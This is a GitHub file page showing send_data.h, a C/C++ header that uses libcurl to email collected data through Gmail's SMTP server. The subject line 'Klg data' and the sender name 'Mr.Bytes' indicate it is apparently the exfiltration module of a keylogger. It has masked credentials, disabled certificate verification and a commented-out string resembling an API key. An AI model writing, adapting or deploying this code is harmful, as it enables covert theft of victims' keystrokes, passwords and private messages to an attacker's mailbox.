-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsend_data.h
More file actions
executable file
·147 lines (99 loc) · 3.7 KB
/
send_data.h
File metadata and controls
executable file
·147 lines (99 loc) · 3.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#ifndef SEND_DATA_H
#define SEND_DATA_H
#define CURL_STATICLIB
#include "curl/include/curl.h"
#include "curl/include/easy.h"
#include "helper_string.h"
#define FROM "******@gmail.com"
#define TO "**********@gmail.com"
#define SMTPUSER "***********@gmail.com"
#define SMTPPASS "*********"
//#define SMTPURL "smtp://aspmx.l.google.com:25"
//#define SMTPURL "smtp://smtp-relay.gmail.com:587"
//#define SMTPURL "smtp://smtp-relay.gmail.com:465"
//#define SMTPURL "smtp://smtp-relay.gmail.com:25"
#define SMTPURL "smtp://smtp.gmail.com:587"
//#define SMTPURL "smtp://smtp.gmail.com:465"
struct upload_status {
int lines_read;
};
static char **payload_text = NULL;
static size_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp)
{
struct upload_status *upload_ctx = (struct upload_status *)userp;
const char *data;
if((size == 0) || (nmemb == 0) || ((size*nmemb) < 1)) {
return 0;
}
data = payload_text[upload_ctx->lines_read];
if(data) {
size_t len = strlen(data);
memcpy(ptr, data, len);
upload_ctx->lines_read++;
return len;
}
return 0;
}
bool send_data(char* data ){
const char* payload_text_before[] = {
"To: " TO "\r\n",
"From: " FROM " (Mr.Bytes)\r\n",
"Subject: Klg data\r\n",
"\r\n", /* empty line to divide headers from body, see RFC5322 */
};
splitted_str parsed_data = str_split(data);
const char* payload_text_after[] = {
"EOF\r\n\r\n",
NULL
};
unsigned int n_lines_before = sizeof(payload_text_before)/sizeof(*payload_text_before);
unsigned int n_lines_after = sizeof(payload_text_after)/sizeof(*payload_text_after);
unsigned int n_lines_data = parsed_data.n_lines;
unsigned int n_lines = n_lines_before + n_lines_after + n_lines_data;
const char *payload_text_const[n_lines];
for(unsigned int i=0;i<n_lines_before;i++)
payload_text_const[i] = payload_text_before[i];
for(unsigned int i=0;i<n_lines_data;i++)
payload_text_const[n_lines_before+i] = parsed_data.str[i];
for(unsigned int i=0;i<n_lines_after;i++)
payload_text_const[n_lines_before+n_lines_data+i] = payload_text_after[i];
payload_text = (char**)payload_text_const;
//for(int i=0; i<n_lines;i++){
// std::cout<<payload_text_const[i]<<std::endl;
//}
CURL *curl;
CURLcode res = CURLE_OK;
struct curl_slist *recipients = NULL;
struct upload_status upload_ctx;
upload_ctx.lines_read = 0;
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, SMTPURL);
curl_easy_setopt(curl, CURLOPT_USE_SSL, (long)CURLUSESSL_TRY);
//curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_USERNAME, SMTPUSER);
curl_easy_setopt(curl, CURLOPT_PASSWORD, SMTPPASS);
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM);
recipients = curl_slist_append(recipients, TO);
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, payload_source);
curl_easy_setopt(curl, CURLOPT_READDATA, &upload_ctx);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
//curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, "AIzaSyCBzXtRgBAM26WZt6-2utZ6nA_r4x5n_RU");
//curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
res = curl_easy_perform(curl);
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
curl_slist_free_all(recipients);
curl_easy_cleanup(curl);
}
// free memory
for(int i=0; i<parsed_data.n_lines;i++){
delete parsed_data.str[i];
}
delete parsed_data.str;
return true;
}
#endif